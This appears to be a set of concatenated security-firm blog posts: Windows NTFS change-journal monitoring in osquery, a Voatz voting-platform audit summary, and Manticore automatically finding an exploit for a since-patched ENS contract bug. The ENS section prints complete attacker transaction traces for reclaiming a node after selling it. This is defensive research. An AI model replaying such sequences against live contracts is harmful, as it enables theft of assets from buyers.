FindFirstChangeNotification does not monitor the specified directory itself, only its entries. Consequently, the “correct” way to monitor both a directory and its entries is to invoke the function twice: once for the directory itself, and again for its parent (or drive root). This, in turn, requires additional filtering if the only entry of interest in the parent is the directory itself.

These routines provide the filtering and synchronization for retrieving filesystem events, but do not expose the events themselves or their associated metadata. The actual events must be retrieved through ReadDirectoryChangesW, which takes an open handle to the watched directory and many of the same parameters as the polling functions (since it can be used entirely independently of them). Users must also finagle with the bizarre world of OVERLAPPED in order to use ReadDirectoryChangesW safely in an asynchronous context.

ReadDirectoryChangesW can be difficult to use with the Recycling Bin and other pseudo-directory concepts on Windows. This SO post suggests that the final moved name can be resolved with GetFinalPathNameByHandle. This GitHub issue suggests that the function’s behavior is also inconsistent between Windows versions.

Last but not least, ReadDirectoryChangesW uses a fixed-size buffer for each directory handle internally and will flush all change records before they get handled if it cannot keep up with the number of events. In other words, its internal buffer does not function as a ring, and cannot be trusted to degrade gradually or gracefully in the presence of lots of high I/O loads.

An older solution also exists: SHChangeNotifyRegister can be used to register a window as the recipient of file notifications from the shell (i.e., Explorer) via Windows messages. This approach also comes with numerous downsides: it requires the receiving application to maintain a window (even if it’s just a message-only window), uses some weird “item-list” view of filesystem paths, and is capped by the (limited) throughput of Windows message delivery.

All told, the performance and accuracy issues of these APIs make them poor candidates for osquery.

Filter drivers and minifilters

Like so many other engineering challenges in Windows environments, file monitoring has a nuclear option in the form of a kernel-mode APIs. Windows is kind enough to provide two general categories for this purpose: the legacy file system filter API and the more recent minifilter framework. We’ll cover the latter in this post, since it’s what Microsoft recommends.

Minifilters are kernel-mode drivers that directly interpose the I/O operations performed by Windows filesystems. Because they operate at the common filesystem interface layer, minifilters are (mostly) agnostic towards their underlying storage — they can (in theory) interpose any of the filesystem operations known by the NT kernel regardless of filesystem kind or underlying implementation. Minifilters are also composable, meaning that multiple filters can be registered against and interact with a filesystem without conflict.

Minifilters are implemented via the Filter Manager, which establishes a filter loading order based on a configured unique “altitude” (lower altitudes corresponding to earlier loads, and thus earlier access) and presence in a “load order group”, which corresponds to a unique range of altitudes. Load order groups are themselves loaded in ascending order with their members loaded in random order, meaning that having a lower altitude than another minifilter in the same group as you does not guarantee higher precedence. Microsoft provides some documentation for (public) load order groups and altitude ranges here; a list of publicly known altitudes is available here. You can even request one yourself!

While powerful and flexible and generally the right choice for introspecting the filesystem on Windows, minifilters are unsuitable for osquery’s file monitoring purposes:

  • For in-tree (i.e., non-extension) tables, osquery has a policy against system modifications. Installing a minifilter requires us to modify the system by loading a driver, and would require osquery to either ship with a driver or fetch one at install-time.
  • Because minifilters are full kernel-mode drivers, they come with undesirable security and stability risks.
  • The design of osquery makes certain assurances to its users: that it is a single-executable, user-mode agent, self-monitoring its performance overhead at runtime — a kernel-mode driver would violate that design.

Journal monitoring

A third option is available to us: the NTFS journal.

Like most (relatively) modern filesystems, NTFS is journaled: changes to the underlying storage are preceded by updates to a (usually circular) region that records metadata associated with the changes. Dan Luu’s “Files are fraught with peril” contains some good motivating examples of journaling in the form of an “undo log”.

Journaling provides a number of benefits:

  • Increased resilience against corruption: the full chain of userspace-to-kernel-to-hardware operations for an single I/O operation (e.g., unlinking a file) isn’t internally atomic, meaning that a crash can leave the filesystem in an indeterminate or corrupted state. Having journal records for the last pre-committed operations makes it more likely that the filesystem can be rolled back to a known good state.
  • Because the journal provides a reversible record of filesystem actions, interactions with the underlying storage hardware can be made more aggressive: the batch size for triggering a commit can be increased, increasing performance.
  • Since the journal is timely and small (relative to the filesystem), it can be used to avoid costly filesystem queries (e.g., stat) for metadata. This is especially pertinent on Windows, where metadata requests generally involve acquiring a full HANDLE.

NTFS’s journaling mechanism is actually split into two separate components: $LogFile is a write-ahead log that handles journaling for rollback purposes, while the change journal ($Extend\$UsnJrnl) records recent changes on the volume by kind (i.e., without the offset and size information needed for rollback).

Windows uses the latter for its File History feature, and it’s what we’ll use too.

Accessing the change journal

⚠ The samples below have been simplified for brevity’s sake. They don’t contain error handling and bounds checking, both of which are essential for safe and correct use. Read MSDN and/or the full source code in osquery before copying! ⚠

Fortunately for us, opening a handle to and reading from the NTFS change journal for a volume is a relatively painless affair with just a few steps.

  1. We obtain the handle for the volume that we want to monitor via a plain old CreateFile call:ntfs0
  2. We issue a DeviceIoControl[FSCTL_QUERY_USN_JOURNAL] on the handle to get the most recent Update Sequence Number (USN). USNs uniquely identify a batch records committed together; we’ll use our first to “anchor” our queries chronologically:ntfs1
  3. We issue another DeviceIoControl, this time with FSCTL_READ_USN_JOURNAL, to pull a raw buffer of records from the journal. We use a READ_USN_JOURNAL_DATA_V1 to tell the journal to only give us records starting at the USN we got in the last step:ntfs2

Mind the last two fields (2U and 3U) — they’ll be relevant later.

Interpreting the change record buffer

DeviceIoControl[FSCTL_READ_USN_JOURNAL] gives us a raw buffer of variable-length USN_RECORDs, prefixed by a single USN that we can use to issue a future request:

ntfs3

Then, in our process_usn_record:

ntfs4

Recall those last two fields from READ_USN_JOURNAL_DATA_V1 — they correspond to the range of USN_RECORD versions returned to us, inclusive. We explicitly exclude v4 records, since they’re only emitted as part of range tracking and don’t include any additional information we need. You can read more about them on their MSDN page.

MSDN is explicit about these casts being necessary: USN_RECORD is an alias for USN_RECORD_V2, and USN_RECORD_V3 is not guaranteed to have any common layout other than that defined in USN_RECORD_COMMON_HEADER.

Once that’s out of the way, however, the following fields are available in both:

  • Reason: A bitmask of flags indicating changes that have accumulated in the current record. See MSDN’s USN_RECORD_V2 or USN_RECORD_V3 for a list of reason constants.
  • FileReferenceNumber: A unique (usually 128-bit) ordinal referencing the underlying filesystem object. This is the same as the FRN that can be obtained by calling GetFileInformationByHandleEx with FileIdInfo as the information class. FRNs correspond roughly to the “inode” concept in UNIX-land, and have similar semantics (unique per filesystem, not system-wide).
  • ParentFileReferenceNumber: Another FRN, this one for the parent directory (or volume) of the file or directory that this record is for.
  • FileNameLength, FileNameOffset, FileName: The byte-length, offset, and pointer to the filename of the file or directory that this is for. Note that FileName is the base (i.e., unqualified) name — retrieving the fully qualified name requires us to resolve the name of the parent FRN by opening a handle to it (OpenFileById), calling GetFinalPathNameByHandle, and joining the two.

Boom: file events via the change journal. Observe that our approach has sidestepped many of the common performance and overhead problems in file monitoring: we operate completely asynchronously and without blocking the filesystem whatsoever. This alone is a substantial improvement over the minifilter model, which imposes overhead on every I/O operation.

Caveats

Like the other techniques mentioned, the change journal approach to file monitoring is not without its disadvantages.

As the name of the table suggests, change journal monitoring only works on NTFS (and ReFS, which appears to be partially abandoned). It can’t be used to monitor changes on FAT or exFAT volumes, as these lack journaling entirely. It also won’t work on SMB shares, although it will work on cluster-shared volumes of the appropriate underlying format.

Handling of rename operations is also slightly annoying: the change journal records one event for the “old” file being renamed and another for the “new” file being created, meaning that we have to pair the two into a single event for coherent presentation. This isn’t hard (the events reference each other and have distinct masks), but it’s an extra step.

The change journal documentation is also conspicuously absent of information about the possibility of dropped records: the need for a start USN and the returning of a follow-up USN in the raw buffer imply that subsequent queries are expected to succeed, but no official details about the size of wraparound behavior of the change journal are provided. This blog post indicates that the default size is 1MB, which is probably sufficient for most workloads. It’s also changeable via fsutil.

Potentially more important is this line in the MSDN documentation for the Reason bitmask:

The flags that identify reasons for changes that have accumulated in this file or directory journal record since the file or directory opened.
When a file or directory closes, then a final USN record is generated with the USN_REASON_CLOSE flag set. The next change (for example, after the next open operation or deletion) starts a new record with a new set of reason flags.

This implies that duplicate events in the context of an open file’s lifetime can be combined into a single bit in the Reason mask: USN_REASON_DATA_EXTEND can only be set once per record, so an I/O pattern that consists of an open, two writes, and a close will only indicate that some write happened, not which or how many. Consequently, the change journal can’t answer detailed questions about the magnitude of I/O on an open resource; only whether or not some events did occur on it. This is not a major deficiency for the purposes of integrity monitoring, however, as we’re primarily interested in knowing when files change and what their end state is when they do.

Bringing the change journal into osquery

The snippets above give us the foundation for retrieving and interpreting change journal records from a single volume. osquery’s use case is more involved: we’d like to monitor every volume that the user registers interest in, and perform filtering on the retrieved records to limit output to a set of configured patterns.

Every NTFS volume has its own change journal, so each one needs to be opened and monitored independently. osquery’s pub-sub framework is well suited to this task:

  • We define an event publisher (NTFSEventPublisher)
  • In our configuration phase (NTFSEventPublisher::configure()), we read user configuration a la the Linux file_events table:carbon
  • The configuration gives us the base list of volumes to monitor change journals on; we create a USNJournalReader for each and add them as services via Dispatcher::addService()
  • Each reader does its own change journal monitoring and event collection, reporting a list of events back to the publisher
  • We perform some normalization, including reduction of “old” and “new” rename events into singular NTFSEventRecords. We also maintain a cache of parent FRNs to directory names to avoid missing changes caused by directory renames and to minimize the number of open-handle requests we issue
  • The publisher fire()s those normalized events off for consumption by our subscribing table: ntfs_journal_events

Put together, this gives us the event-based table seen in the screenshot above. It’s query time!

carbon (2)

Wrapping things up

The ntfs_journal_events table makes osquery a first-class option for file monitoring on Windows, and further decreases the osquery feature gap between Windows and Linux/macOS (which have had the file_events table for a long time).

Do you have osquery development or deployment needs? Drop us a line! Trail of Bits has been at the center of osquery’s development for years, and has worked on everything from the core to table development to new platform support.

Our Full Report on the Voatz Mobile Voting Platform

Voatz allows voters to cast their ballots from any geographic location on supported mobile devices. Its mobile voting platform is under increasing public scrutiny for security vulnerabilities that could potentially invalidate an election. The issues are serious enough to attract inquiries from the Department of Homeland Security and Congress.

However, there has been no comprehensive security report to provide details of the Voatz vulnerabilities and recommendations for fixing them—until now.

Trail of Bits has performed the first-ever “white-box” security assessment of the platform, with access to the Voatz Core Server and backend software. Our assessment confirmed the issues flagged in previous reports by MIT and others, discovered more, and made recommendations to fix issues and prevent bugs from compromising voting security. Trail of Bits was uniquely qualified for this assessment, employing industry-leading blockchain security, cryptographic, DARPA research, and reverse engineering teams, and having previously assessed other mobile blockchain voting platforms.

Our security review resulted in seventy-nine (79) findings. A third of the findings are high severity, another third medium severity, and the remainder a combination of low, undetermined, and informational severity.

Read our Voatz security report and threat model for full details.

Why Voatz counts

The promises of mobile voting are attractive—better accessibility for differently abled people, streamlined absentee voting, and speed and convenience for all voters. If a mobile platform could guarantee secure voting, it would revolutionize the process. It’s a fantastic goal—but there’s still work to do.

Voatz has already piloted its mobile voting app with elections in West Virginia; Denver, Colorado; Utah County, Utah; and both Jackson and Umatilla Counties in Oregon. According to Voatz’ own FAQ, more than 80,000 votes have been cast on the Voatz platform across more than 50 elections since June 2016.

And yet, four security assessments that took place before ours could not quell a great deal of uncertainty and public speculation about Voatz’ implementation and security assurances.

In May 2019, researchers from Lawrence Livermore National Laboratory, the University of South Carolina, Citizens for Better Elections, Free & Fair, and the US Vote Foundation enumerated a series of questions about the security of Voatz in What We Don’t Know About the Voatz “Blockchain” Internet Voting System. They asked questions like, “Does Voatz collect voters’ location data? If so, why?” and, “How do we know that voter data cannot be retroactively de-anonymized?”

In November 2019, Senator Ron Wyden began sending letters to the National Security Agency and U.S. Department of Defense; Oregon Secretary of State Bev Clarno; and ShiftState Security. Another letter, addressed to Voatz and signed by five members of Congress (including Klobuchar, Peters, Wyden, Lofgren, and Thompson) expressed “serious concern regarding reports that there may be substantial cybersecurity vulnerabilities associated with your company’s mobile voting application.”

On February 5th, 2020—during our review period—Trail of Bits was given an anonymized, summary report of security issues in the Voatz Android mobile application externally reported to the DHS CISA. Six vulnerabilities were described, primarily related to the Android mobile application (version 1.1.60, circa September 24, 2019). One week later, the full report was made public, Voatz released a rebuttal, and a story in the New York Times was published about the security “debate” surrounding Voatz.

Trail of Bits enters the fray…

In December 2019, Trail of Bits was hired by both Voatz and Tusk Philanthropies, an organization that funded municipalities election costs for Voatz’s pilots, to conduct the most complete security assessment of the platform to date.

To the best of our knowledge, no assessment prior to ours had been scoped to include the discovery of Voatz Core Server and backend software vulnerabilities.

Trail of Bits was provided over 168,000 lines of pure source code across approximately 2,100 files. This did not even constitute the entire Voatz system, as the code for certain components such as the audit portal were never furnished. The system is unusually complex, with an order-of-magnitude more custom code than similar mobile voting systems we have assessed.

Highlights of our Findings

Our Voatz security report is divided into two volumes:

  1. The security assessment’s technical findings (Volume I)
  2. A threat model with architectural and operational findings (Volume II)

Our security review resulted in seventy-nine (79) findings: forty-eight (48) technical and thirty-one (31) in the threat model. A third of the findings are high severity, another third medium severity, and the remainder a combination of low, undetermined, and informational severity. The high-severity findings are related to:

  • Cryptography, e.g., improper use of cryptographic algorithms, as well as ad hoc cryptographic protocols.
  • Data exposure, e.g., sensitive credentials available to Voatz developers and personally identifiable information that can be leaked to attackers.
  • Data validation, e.g., reliance on unvalidated data provided by the clients.
  • Audit logging and accountability controls, e.g., the inability to track commands issued by administrators.
  • Security assessment and authorization controls, e.g., insufficient continuous monitoring, documented procedures, and documented connections.
  • Configuration management controls, e.g., a lack of baseline configurations and security impact analyses.
  • Contingency planning, e.g., insufficient plans for disaster recovery and business continuity.
  • Insufficient incident response, component interconnection, maintenance, and risk assessment plans and protocols.

Our technical report includes Appendix B, containing an independent analysis of not only the MIT report, but five prior assessments of Voatz. The Security Properties and Questions section of the report also answers as many questions as possible from the What We Don’t Know About Voatz paper. For example, we describe how “anonymous IDs” are assigned to ballots, whether SIM swapping is sufficient to steal a voter’s account, and how voters are uniquely identified when requesting a receipt.

What’s been fixed

On February 26, 2020, Trail of Bits reviewed fixes proposed by Voatz for the issues presented in the technical report (Volume I). Each finding was re-examined and verified by Trail of Bits. We found that Voatz had addressed eight (8) issues and partially addressed six (6) issues; thirty-four (34) technical issues remain unfixed, at the time of writing.

See a detailed review of the current status of each issue in Appendix E: Fix Log of the technical report. The Fix Log was further updated on March 11th with responses from Voatz indicating their plans to address additional findings.

So, what does it all mean?

Voatz’s code, both in the backend and mobile clients, is written intelligibly and with a clear understanding of software engineering principles. The code is free of almost all the common security foibles like cryptographically insecure random number generation, HTTP GET information leakage, and improper web request sanitization. However, it is clear that the Voatz codebase is the product of years of fast-paced development. It lacks test coverage and documentation. Logical checks for specific elections are hard-coded into both the backend and clients. Infrastructure is provisioned manually, without the aid of infrastructure-as-code tools. The code contains vestigial features that are slated to be deleted but have not yet been (TOB-VOATZ-009). Validation and cryptographic code are duplicated and reimplemented across the codebase, often erroneously (TOB-VOATZ-014). Mobile clients neglect to use recent security features of Android and iOS (TOB-VOATZ-034 and TOB-VOATZ-042). Sensitive API credentials are stored in the git repositories (TOB-VOATZ-001). Many of its cryptographic protocols are nonstandard (TOB-VOATZ-012).

The quantity of findings discovered during this assessment, the complexity of the system, and the lack of access to both a running test environment as well as certain codebases leads us to believe that other vulnerabilities are latent.

What’s next?

Broadly, we believe election officials themselves should fund qualified, public reviews of these systems, and specify that those reviews describe the issues and solutions in a way that non-technical audiences can understand. It’s easy to get confused by non-commissioned reports; for example, an August 2019 report by The National Cybersecurity Center (NCC) seemed to address the platform’s security issues, but the NCC doesn’t employ any security experts. Their report validated that Voatz’ features and operation meet the needs of the user, not that the Voatz system is secure.

We hope that our assessment will improve the overall security posture of the Voatz system, but there is still a great deal of work to be done to achieve that goal. The door is open to continue to help Voatz remediate the issues we discovered.

Meanwhile, as we continue working in election security, we are taking the initiative to help companies incorporate more security knowledge earlier into the development process.

Elect security with us.

See something you need? We have staff who specialize in election security issues, including cryptographic, blockchain, and technical security experts. Contact us to see how we can help.

See responses from Tusk Philanthropies and Voatz to the publication of this report.

Manticore discovers the ENS bug

The Ethereum Name Service (ENS) contract recently suffered from a critical bug that prompted a security advisory and a migration to a new contract (CVE-2020-5232). ENS allows users to associate online resources with human-readable names. As you might expect, it allows you to transfer and sell domain names.

Figure 1: Sam Sun (samczsun) discovered a critical vulnerability in ENS

Figure 1: Sam Sun (samczsun) discovered a critical vulnerability in ENS

Specific details about the bug were in scant supply. We heard about the forthcoming fix and wondered: Could Manticore have found this bug?

In short, if a person transferred an ENS name in a specific way, they would be capable of later claiming it back away from the new owner. This would not have worked if a person transferred a name in the normal way. In other words, to make use of this bug, the person doing the transferring had to have been intentionally setting themselves up from the beginning to claim it back.

We decided to dive in and try Manticore on the original contract and discover the bug.

  1. Go to etherscan.io and dig out the contract code.
  2. Scratch our heads while observing the strange Solidity dialect.
  3. Realize it’s not Solidity at all. It was written in LLL.

Luckily, Manticore does not rely on any high-level language and can inspect code at the EVM level. So we backpedaled a bit and found the creation transaction that gave birth to the ENS contract. After some clever use of etherscan.io magic, we found the transaction and extracted the initialization bytecode:

Figure 2: Etherscan shows the initialization bytecode as Input Data

From the advisory, we inferred that the bug could be exploited through four transactions:

  1. The attacker buys a name or ENS node
  2. The attacker does some unknown exploitation preparatives
  3. The attacker sells the name/node/subnode to the victim
  4. The attacker expropriates the name/node and regains ownership over the node

The unknown bits occur during steps 2 and 4. If we setup the scenario appropriately, then Manticore should discover the precise actions required for these steps on its own.

We reviewed the exported functions by inspecting the contract code:

;; Precomputed function IDs.
  (def 'get-node-owner 0x02571be3) ; owner(bytes32)
  (def 'get-node-resolver 0x0178b8bf) ; resolver(bytes32)
  (def 'get-node-ttl 0x16a25cbd) ; ttl(bytes32)
  (def 'set-node-owner 0x5b0fc9c3) ; setOwner(bytes32,address)
  (def 'set-subnode-owner 0x06ab5923) ; setSubnodeOwner(bytes32,bytes32,address)
  (def 'set-node-resolver 0x1896f70a) ; setResolver(bytes32,address)
  (def 'set-node-ttl 0x14ab9038) ; setTTL(bytes32,uint64)

This information was enough to set up the preconditions for the vulnerability in a Manticore script and let its symbolic execution produce the exploit for us, automatically:

Figure 3: Manticore automatically discovers an exploit for ENS

In just a few minutes, Manticore found two ways to expropriate back the subnode and, therefore, exploit this vulnerability.

If you inspect the generated exploits, you can see the attacker needs to send a setTTL or setResolver transaction before she sells the bait node to the victim. Here are the two complete exploit traces:

[+] Accounts in the emulated ethereum world:
     The contract address: 3c90ec8304b1da72f2e336d19336e9046d71e981
     The owner address: d77e14a2801273ab0a1da75f43585d3e32f0bd1d
     The attacker address: 911c639393f0ca8eed3a1dbebf740053b7fb8ce8
     The victim address: a21337d4001af93c16ee19b8ebb210b714ed92bb
[+] ENS root owner gives the attacker 'tob' sub node
[+] Let the attacker prepare the attack. Manticore AEG.
[+] The attacker `sells` the node to a victim (and transfer it)
[+] Now lets the attacker finalize the exploit somehow. Manticore AEG.
[+] Check if the subnode owner is victim in all correct final states.

[*] Exploit found! (The owner of subnode is again the attacker)
     setSubnodeOwner(0x0, 0x2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setTTL(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setOwner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0xa21337d4001af93c16ee19b8ebb210b714ed92bb)
     setResolver(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b21c, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     owner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc)

[*] Exploit found! (The owner of subnode is again the attacker)
     setSubnodeOwner(0x0, 0x2bcc18f608e191ae31db40a291c23d2c4b0c6a9998174955eaa14044d6677c8b, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setResolver(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     setOwner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc, 0xa21337d4001af93c16ee19b8ebb210b714ed92bb)
     setTTL(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1dc, 0x911c639393f0ca8eed3a1dbebf740053b7fb8ce8)
     owner(0xbb6346a9c6ed45f95a4faaf4c0e9859d34e43a3a342e2e8345efd8a72c57b1fc)

The API of the new ENS implementation has changed significantly and these exploits are no longer applicable. This new code has been reviewed by other parties, however, contract owners should always build tests for important security properties into their development process. It is left as an exercise for the reader to write a Manticore script that verifies the new contract is safe from similar issues.

Success!

Manticore helps you reason about code, test security properties, and generate exploits with very little knowledge of the contract’s inner workings. I personally find this example with ENS interesting because the contract is not written in Solidity and it highlights Manticore’s ability to handle low-level EVM.

Review our “Building Secure Contracts” to learn more about using Manticore. It includes tutorials on symbolic execution, instructions for using Manticore, and techniques to maximize its bug finding capabilities. We’re also available to help you integrate our tools into your development process: Contact us or join the Empire Hacking Slack.

As of March 3rd, ENS finished their contract migration and published a port-mortem of this incident.